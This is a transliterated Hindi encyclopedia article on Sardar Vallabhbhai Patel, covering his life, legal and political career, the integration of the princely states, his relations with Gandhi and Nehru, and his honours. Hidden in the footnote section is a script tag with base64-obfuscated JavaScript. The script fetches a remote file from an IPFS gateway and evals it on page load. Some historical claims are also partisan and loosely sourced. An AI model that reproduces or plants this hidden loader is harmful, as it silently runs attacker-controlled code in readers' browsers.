सरदार पटेल
saradar patel
| |
| poora nam | saradar vallabh bhaee patel |
| any nam | saradar patel, lauhapurush, bharat ka bismark |
| janm | 31 aktoobar, 1875 |
| janm bhoomi | nadiyad, gujarat |
| mrityu | 15 disanbar, 1950 (umr- 75) |
| mrityu sthan | mumbee, maharashtr |
| mrityu karan | dil ka daura |
| pati/patni | jhaveraba[1] |
| santan | putr- dahayabhaee patel, putri- maniben patel |
| nagarikata | bharatiy |
| prasiddhi | bharat ke lauhapurush |
| parti | bharatiy rashtriy kaangres |
| pad | up pradhanamantri, grih mantri, soochana mantri aur rajy mantri |
| kary kal | 15 agast, 1947 se 15 disanbar, 1950 |
| shiksha | vaqalat |
| bhasha | hiandi |
| jel yatra | (1930), janavari 1932, aktoobar 1940 |
| puraskar-upadhi | bharat ratn |
| vishesh yogadan | deshi riyasatoan ka vilay svatantr bharat ki pahali upalabdhi thi aur nirvivad roop se saradar patel ka isamean vishesh yogadan tha. nitigat dridhata ke lie 'rashtrapita' ne unhean saradar aur 'lauh purush' ki upadhi di. |
| aandolan | namak satyagrah |
| any janakari | vastav mean saradar patel adhunik bharat ke shilpi the. unake kathor vyaktitv mean vismark[2] jaisi sangathan kushalata, kautily jaisi rajaniti satta tatha rashtriy ekata ke prati abraham liankan jaisi atoot nishtha thi. |
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saradar vallabh bhaee patel (aangrezi: Sardar Vallabhbhai Patel; janm- 31 aktoobar, 1875; mrityu- 15 disanbar, 1950) ka upanam 'saradar patel' hai. saradar patel bharatiy bairistar aur prasiddh rajaneta the. bharat ke svadhinata sangram ke dauran 'bharatiy rashtriy kaangres' ke netaoan mean se ve ek the. 1947 mean bharat ki azadi ke bad pahale tin varsh ve up pradhanamantri, grih mantri, soochana mantri aur rajy mantri rahe the. svatantrata prapti ke bad qarib paanch sau se bhi zyada desi riyasatoan ka ekikaran sabase b di samasya thi. kushal kootaniti aur jaroorat p dane par sainy hastakshep ke jarie unhoanne un adhikaansh riyasatoan ko tirange ke tale lane mean saphalata prapt ki. isi upalabdhi ke chalate saradar patel ko lauh purush ya bharat ka bismark ki upadhi se sammanit kiya gaya. unhean maranoparaant varsh 1991 mean bharat ka sarvochch nagarik samman 'bharat ratn' diya gaya.
jivan parichay
saradar vallabh bhaee patel ka janm 31 aktoobar 1875, nadiyad gujarat, bharat mean hua tha. saradar patel ka janm leva pattidar jati ke ek samriddh zamiandar parivar mean hua tha. ve jhaverabhaee patel evan la dabaee ki chauthi santan the. somabhaee, narasibhaee aur vitthaladas jhaverabhaee patel unake agraj the. paramparik hindoo mahaul mean pale-badhe patel ne karamasad mean prathamik vidyalay aur petalad sthit uchch vidyalay mean shiksha prapt ki, lekin unhoanne adhikaansh jnan svadhyay se arjit kiya. 16 varsh ki ayu mean unaka vivah ho gaya, 22 sal ki umr mean unhoanne maitrik ki pariksha pas ki aur zila adhivakta ki pariksha mean uttirn hue, jisase unhean vaqalat karane ki anumati mili. 1900 mean unhoanne godhara mean svatantr zila adhivakta karyalay ki sthapana ki aur do sal bad khe da zile ke borasad namak sthan par chale ge.
parivar
saradar patel ke pita jhaberabhaee ek dharm parayan vyakti the. gujarat mean sanh 1829 mean svami sahajanand dvara sthapit svami narayan panth ke ve param bhakt the. 55 varsh ki avastha ke uparant unhoanne apana jivan usi mean arpit kar diya tha. vallabhabhaee ne svayan kaha hai : ‘‘maian to sadharan kutumb ka tha. mere pita mandir mean hi zindagi bitate the aur vahian unhoanne poori ki.’’ vallabhabhaee ki mata la dabaee apane pati ke saman ek dharmaparayan mahila thi. vallabhabhaee paanch bhaee v ek bahan the. bhaiyoan ke nam kramashah sobhabhaee, narasianhabhaee, vitthalabhaee, vallabhabhaee aur kashibhaee the. bahan dabiha sabase chhoti thi. inamean vitthalabhaee tatha vallabhabhaee ne rashtriy andolan mean bhag lekar itihas mean mahattvapoorn sthan grahan kiya. mata-pita ke gun sanyam, sahas, sahishnuta, desh-prem ka prabhav vallabhabhaee ke charitr par spasht tha.[3]
vaqalat
vakil ke roop mean patel ne kamazor muqadame ko satikata se prastut karake aur pulis ke gavahoan tatha agrez nyayadhishoan ko chunauti dekar vishesh sthan arjit kiya. 1908 mean patel ki patni ki mrityu ho gee. us samay unake ek putr aur ek putri thi. isake bad unhoanne vidhur jivan vyatit kiya. vaqalat ke peshe mean taraqqi karane ke lie kritasankalp patel ne midl teanpal ke adhyayan karane ke lie agast 1910 mean landan ki yatra ki. vahaan unhoanne manoyog se adhyayan kiya aur aantim pariksha mean uchch pratishtha ke sath uttirn hue. thumb|left|saradar vallabh bhaee patel
agrani bairistar
faravari 1913 mean bharat lautakar vah ahamadabad mean bas ge aur tezi se unnati karate hue ahamadabad adhivakta bar mean aparadh qanoon ke agrani bairistar ban ge. gambhir aur shalin patel apane uchchastariy taur-tariqoan aur chust, aangrezi pahanave ke lie jane jate the. vah ahamadabad ke faishanaparast gujarat klab mean brij ke chaianpiyan hone ke karan bhi vikhyat the. 1917 tak vah bharat ki rajanitik gatividhiyoan ke prati udasin rahe.
sarvabhaumik roop
1917 mean mohanadas karamachand gaandhi se prabhavit hone ke bad patel ne paya ki unake jivan ki disha badal gee hai. patel gaandhi ke satyagrah (aanhisa ki niti) ke sath tab tak ju de rahe, jab tak vah aangrezoan ke khilaf bharatiyoan ke sangharsh mean qaragar raha. lekin unhoanne kabhi bhi khud ko gaandhi ke naitik vishvasoan v adarshoan ke sath nahian jo da aur unaka manana tha ki unhean sarvabhaumik roop se lagoo karane ka gaandhi ka agrah, bharat ke tatkalin rajanitik, arthik v samajik pariprekshy mean aprasangik hai. phir bhi gaandhi ke anusaran aur samarthan ka sankalp karane ke bad patel ne apani shaili aur veshabhoosha mean parivartan kar liya. unhoanne gujarat klab chho d diya, bharatiy kisanoan ke saman safed vastr pahanane lage aur unhoanne bharatiy khan-pan ko apana liya.
bharatiy nigam ayukt ke roop mean
1917 se 1924 tak patel ne ahamadanagar ke pahale bharatiy nigam ayukt ke roop mean seva pradan ki aur 1924 se 1928 tak vah isake nirvachit nagarapalika adhyaksh rahe. 1918 mean patel ne apani pahali chhap chho di, jab bhari varsha se fasal tabah hone ke bavazood bambee sarakar dvara poora salana lagan vasoolane ke faisale ke viruddh unhoanne gujarat ke kaira zile mean kisanoan aur kashtakaroan ke janaandolan ki rooparekha banaee. 1928 mean patel ne badhe hue karoan ke khilaf baradoli ke bhoomipatiyoan ke sangharsh ka saphalatapoorvak netritv kiya. baradoli andolan ke kushal netritv ke karan unhean saradar ki upadhi mili aur usake bad desh bhar mean rashtravadi neta ke roop mean unaki pahachan ban gee. unhean vyavaharik, nirnayak aur yahaan tak ki kathor bhi mana jata tha tatha aangrez unhean ek khataranak shatru manate the.
rajanitik darshan
patel krantikari nahian the, 1928 se 1931 ke bich iandiyan neshanal kaangres ke uddeshyoan par ho rahi mahattvapoorn bahas mean patel ka vichar tha (gaandhi aur motilal neharoo ke saman, lekin javaharalal neharoo aur subhashachandr bos ke viparit) ki bharatiy rashtriy kaangres ka lakshy svadhinata nahian, balki british rashtrakul ke bhitar adhirajy ka darja prapt karane ka hona chahie. javaharalal neharoo ke viparit, jo svatantrata ke lie sangharsh mean hiansa ki anadekhi karane ke paksh mean the, patel naitik nahian, vyavaharik adhar par sashastr andolan ko nakarate the. patel ka manana tha ki yah viphal rahega aur isaka zabaradast daman hoga. gaandhi ki bhaanti patel bhi bhavishy mean british rashtrakul mean svatantr bharat ki bhagidari mean labh dekhate the. basharte bharat ko ek barabari ke sadasy ke roop mean shamil kiya jae. vah bharat mean atmanirbharata aur atmavishvas qayam karane par zor dete the, lekin gaandhi ke viparit, vah hindoo-muslim ekata ko svatantrata ki poorv shart nahian manate the.
samajik badalav
balapoorvak arthik aur samajik badalav lane ki avashyakata ke bare mean patel javaharalal neharoo se asahamat the. paramparik hindoo moolyoan se upaje roodhivadi patel ne bharat ki samajik aur arthik sanrachana mean samajavadi vicharoan ko apanane ki upayogita ka upahas kiya. vah mukt udyam mean yaqin rakhate the. is prakar, unhean roodhivadi tatvoan ka vishvas prapt hua tatha unase prapt dhan se hi bharatiy rashtriy kaangres ki gatividhiyaan sanchalit hoti rahian.
jel
bharatiy rashtriy kaangres ke 1929 ke lahaur adhiveshan mean patel, gaandhi ke bad adhyaksh pad ke doosare ummidavar the. gaandhi ne svadhinata ke prastav ko svikrit hone se rokane ke prayas mean adhyaksh pad ki davedari chho d di aur patel par bhi nam vapas lene ke lie dabav dala. isaka pramukh karan musalamanoan ke prati patel ki hathadharmita thi. aantat: javaharalal neharoo adhyaksh bane. 1930 mean namak satyagrah ke dauran patel ko tin mahine ki jel huee. march 1931 mean patel ne iandiyan neshanal kaangres ke karaanchi adhiveshan ki adhyakshata ki. janavari 1932 mean unhean giraftar kar liya gaya. julaee 1934 mean vah riha hue aur 1937 ke chunavoan mean unhoanne kaangres parti ke sangathan ko vyavasthit kiya. 1937-38 mean vah kaangres ke adhyaksh pad ke pramukh davedar the. ek bar phir gaandhi ke dabav mean patel ko apana nam vapas lena p da aur javahar lal neharoo nirvachit hue. aktoobar 1940 mean kaangres ke any netaoan ke sath patel bhi giraftar hue aur agast 1941 mean riha hue. dvitiy vishv yuddh ke dauran, jab japani hamale ki ashanka huee, to patel ne gaandhi ki ahiansa ki niti ko avyavaharik batakar kharij kar diya. satta ke hastantaran ke mudde par bhi patel ka gaandhi se is bat par matabhed tha ki upamahadvip ka hindoo bharat tatha muslim pakistan ke roop mean vibhajan aparihary hai. patel ne zor diya ki pakistan de dena bharat ke hit mean hai.
grih mantri karyakal
1945-1946 mean bharatiy rashtriy kaangres ke adhyaksh pad ke lie patel ek pramukh ummidavar the. lekin gaandhi ne ek bar phir hastakshep karake neharoo ko adhyaksh banava diya. kaangres adhyaksh ke roop mean neharoo ko british vaisar aauy ne aantarim sarakar ke gathan ke lie amantrit kiya. is prakar, yadi ghatanakram samany rahata, to patel bharat ke pahale pradhanamantri hote. svatantr bharat ke pahale tin varsh patel up-pradhanamantri, grih mantri, soochana mantri aur rajy mantri rahe. is sabase bhi badhakar unaki khyati bharat ke rajava doan ko shantipoorn tariqe se bharatiy sangh mean shamil karane tatha bharat ke rajanitik ekikaran ke karan hai.
ekikaran mean patel ki bhoomika
5 julaee 1947 ko saradar patel ne riyasatoan ke prati niti ko spasht karate hue kaha ki 'riyasatoan ko tin vishayoan - suraksha, videsh tatha sanchar vyavastha ke adhar par bharatiy sangh mean shamil kiya jaega.' dhire dhire bahut si desi riyasatoan ke shasak bhopal ke navab se alag ho gaye aur is tarah navasthapit riyasati vibhag ki yojana ko saphalata mili. bharat ke tatkalin grihamantri saradar vallabh bhaee patel ne bharatiy sangh mean un riyasatoan ka vilay kiya tha jo svayan mean sanprabhuta prapt thian. unaka alag jhanda aur alag shasak tha. saradar patel ne azadi ke thik poorv (sankraman kal mean) hi pi.vi. menan ke sath milakar kee desi rajyoan ko bharat mean milane ke liye kary arambh kar diya tha. patel aur menan ne desi rajaoan ko bahut samajhaya ki unhean svayattata dena sambhav nahian hoga. isake parinamasvaroop tin ko chhodakar shesh sabhi rajavadoan ne svechchha se bharat mean vilay ka prastav svikar kar liya. 15 agast 1947 tak haidarabad, kashmir aur joonagadh ko chho dakar shesh bharatiy riyasatean 'bharat sangh' mean sammilit ho gayian. joonagadh ke navab ke viruddh jab bahut virodh hua to vah bhagakar pakistan chala gaya aur joonagadh bhi bharat mean mil gaya. jab haidarabad ke nijam ne bharat mean vilay ka prastav asvikar kar diya to saradar patel ne vahaan sena bhejakar nijam ka atmasamarpan kara liya.
saradar patel ka yogadan
bharatiy rashtriy andolan ko vaicharik evan kriyatmak roop mean ek nee disha dene ke karan saradar patel ne rajanitik itihas mean ek gauravapoorn sthan prapt kiya. vastav mean ve adhunik bharat ke shilpi the. unake kathor vyaktitv mean vismark[4] jaisi sangathan kushalata, kautily jaisi rajaniti satta tatha rashtriy ekata ke prati abraham liankan jaisi atoot nishtha thi. jis adamy utsah asim shakti se unhoanne navajat ganarajy ki prarambhik kathinaiyoan ka samadhan kiya, usake karan vishv ke rajanitik manachitr mean unhoanne amit sthan bana liya. bharat ke rajanitik itihas mean saradar patel ke yogadan ko kabhi bhulaya nahian ja sakata. saradar patel ke aitihasik karyoan aur kiye gaye rajanitik yogadan nimnavat haian-
- deshi rajyoan ke ekikaran ki samasya ko patel ne bina khoon-kharabe ke b di khoobi se hal kiya, deshi rajyoan mean rajakot, joonagadh, vahalapur, b dauda, kashmir, haidarabad ko bharatiy mahasangh mean sammilit karana mean saradar ko kee pechidagiyoan ka samana karana p da. jab chin ke pradhanamantri chaoo en laee ne neharoo ko patr likha ki ve tibbat ko chin ka aang man lean to patel ne neharoo se agrah kiya ki ve tibbat par chin ka prabhutv qatee n svikarean anyatha chin bharat ke lie khataranak siddh hoga. neharoo nahian mane bas isi bhool ke karan hamean chin se pitana p da aur chin ne hamari sima ki 40 hajar varg gaj bhoomi par kabja kar liya.
- saradar patel ke aitihasik karyoan mean somanath mandir ka punarniman, gaandhi smarak nidhi ki sthapana, kamala neharoo aspatal ki rooparekha adi kary sadaiv smaran kie jate raheange. unake man mean goa ko bhi bharat mean vilay karane ki ichchha kitani balavati thi, isaka uddhaharan hi kafi hai.[5] jab ek bar ve bharatiy yuddhapot dvara banbee se bahar yatra par tha to goa ke nikat pahuanchane par unhoanne kamaandiang aphasaroan se poochha is yuddhapot par tumhare kitane sainik haian jab kaptan ne unaki sankhya bataee, to patel ne phir poochha kya vah goa par adhikar karane ke lie paryapt hai. sakaratmak uttar milane par patel bole- achchha chalo jab tak ham yahaan haian goa par adhikar kar lo. kiankartavyavimoodh kaptan ne unase likhit adesh dene ki vinati ki tab tak patel chauanke phir kuchh sochakar bole-thik hai chalo hamean vapas lautana hoga.[5]
- lakshadvip samooh ko bharat ke sath milane mean bhi patel ki mahattvapoorn bhoomika thi. is kshetr ke log desh ki mukhyadhara se kate hue the aur unhean bharat ki ajadi ki janakari 15 agast 1947 ke bad mili. halaanki yah kshetr pakistan ke najadik nahian tha lekin patel ko lagata tha ki is par pakistan dava kar sakata hai. isalie aisi kisi bhi sthiti ko talane ke lie patel ne lakshadvip mean rashtriy dhvaj phaharane ke lie bharatiy nausena ka ek jahaj bheja. isake kuchh ghante bad hi pakistani nausena ke jahaj lakshadvip ke pas mandarate dekhe ge lekin vahaan bharat ka jhanda laharate dekh ve vapas karachi chale ge.[5]
saradar patel, javaharalal neharoo aur mahatma gaandhi
[[chitr:Gandhi-Patel-Nehru.png|thumb|250px|mahatma gaandhi, saradar vallabh bhaee patel aur javaharalal neharoo]] saradar patel bharatiy svatantrata sangram mean vah kee bar jel ke aandar bahar hue, halaanki jis chij ke lie itihasakar hamesha saradar vallabh bhaee patel ke bare mean janane ke lie ichchhuk rahate haian vah thi unaki aur javaharalal neharoo ki pratisparddha. sab janate haian 1929 ke lahaur adhiveshan mean saradar patel hi gaandhi ji ke bad doosare sabase prabal davedar the par musalamanoan ke prati patel ki hathadharmita ki vajah se gaandhiji ne unase unaka nam vapas dilava diya. 1945-1946 mean bharatiy rashtriy kaangres ke adhyaksh pad ke lie bhi patel ek pramukh ummidavar the. lekin gaandhiji ke neharoo prem ne unhean adhyaksh nahian banane diya. kee itihasakar yahaan tak manate haian ki yadi saradar patel ko pradhanamantri banane diya gaya hota to chin aur pakistan ke yuddh mean bharat ko poorn vijay milati parantu gaandhi ke jagajahir neharoo prem ne unhean pradhanamantri banane se rok diya.[6]
- gaandhiji se rishta
mahatma gaandhi ke prati saradar patel ki atoot shraddha thi. gaandhiji ki hatya se kuchh kshan pahale niji roop se gaandhiji se bat karane vale patel aantim vyakti the. unhoanne suraksha mean chook ko grih mantri hone ke nate apani galati mana. unaki hatya ke sadame se ve ubar nahian paye. gaandhiji ki mrityu ke do mahine ke bhitar hi patel ko dil ka daura p da tha.
- neharooji se sanbandh
javaharalal neharoo kashmiri brahman the, jabaki saradar patel gujarat ke krishak samuday se talluk rakhate the. donoan hi gaandhiji ke nikat the. neharoo samajavadi vicharoan se prerit the. patel bijanes ke prati naram rukh rakhane vale khaanti hiandoo the. neharoo se unake sambandh madhur the, lekin kee masaloan par donoan ke madhy matabhed bhi the. kashmir ke masale par donoan ke vichar bhinn the. kashmir masale par sanyukt rashtr ko madhyasth banane ke saval par patel ne neharoo ka k da virodh kiya tha. kashmir samasya ko saradard manate hue ve bharat aur pakistan ke bich dvipakshiy adhar par mamale ko nipatana chahate the. is masale par videshi hastakshep ke khilaf the.
sangh se nata
gaandhiji ki hatya mean hiandoo charamapanthiyoan ka nam ane par saradar patel ne rashtriy svayansevak sangh ko pratibandhit kar diya aur sarasanghachalak emes golavarakar ko jel mean dal diya gaya. riha hone ke bad golavarakar ne unako patr likhe. 11 sitambar, 1948 ko patel ne javab dete hue sangh ke prati apana najariya spasht karate hue likha ki sangh ke bhashan mean jahar hota hai... usi vish ka natija hai ki desh ko gaandhiji ke amooly jivan ka balidan sahana p d raha hai.
lauh purush
saradar patel ko bharat ka 'lauh purush' kaha jata hai. grihamantri banane ke bad bharatiy riyasatoan ke vilay ki zimmedari unako hi sauanpi gee. unhoanne apane dayitvoan ka nirvahan karate hue chhah sau chhoti b di riyasatoan ka bharat mean vilay karaya. deshi riyasatoan ka vilay svatantr bharat ki pahali upalabdhi thi aur nirvivad roop se patel ka isamean vishesh yogadan tha. nitigat dridhata ke lie 'rashtrapita' ne unhean saradar aur 'lauh purush' ki upadhi di. bismark ne jis tarah jarmani ke ekikaran mean mahattvapoorn bhoomika nibhaee usi tarah vallabh bhaee patel ne bhi ajad bharat ko ek vishal rashtr banane mean ullekhaniy yogadan diya. bismark ko jahaan jarmani ka ‘ayaran chaansalar’ kaha jata hai vahian patel bharat ke lauh purush kahalate haian.[6]
samman aur puraskar
- san 1991 mean maranoparant bharat ratn se sammanit
- ahamadabad ke havaee adde ka namakaran saradar vallabhabhaee patel antarashtriy havaee adda rakha gaya hai.
- gujarat ke vallabh vidyanagar mean saradar patel vishvavidyalay hai.
nidhan
saradar patel ji ka nidhan 15 disanbar, 1950 ko muanbee maharashtr mean hua tha.
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tika tippani aur sandarbh
- ↑ Sardar Patel Trust
- ↑ ek jarman rajaneta
- ↑ saradar vallabhabhaee patel vyakti evan vichar (hiandi) (pi.ech.pi) bharatiy sahity sangrah. abhigaman tithi: 7 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ek jarman rajaneta
- ↑ 5.0 5.1 5.2
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bahari k diyaan
- saradar vallabh bhaee patel
- rashtr-nirmata lauh purush saradar vallabhabhaee patel
- aise the lauh purush ‘saradar vallabhabhaee patel’
- iandira ke age saradar patel ko bhool gaya bharat?
- saradar vallabhabhaee patel ke anamol vichar
- gaandhi ji ne neharoo ko hi desh ka netritv kyoan sauanpa?
- saradar patel ka khat pandit neharoo ke nam
- Sardar Patel Trust
sanbandhit lekh
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varnamala kramanusar lekh khoj
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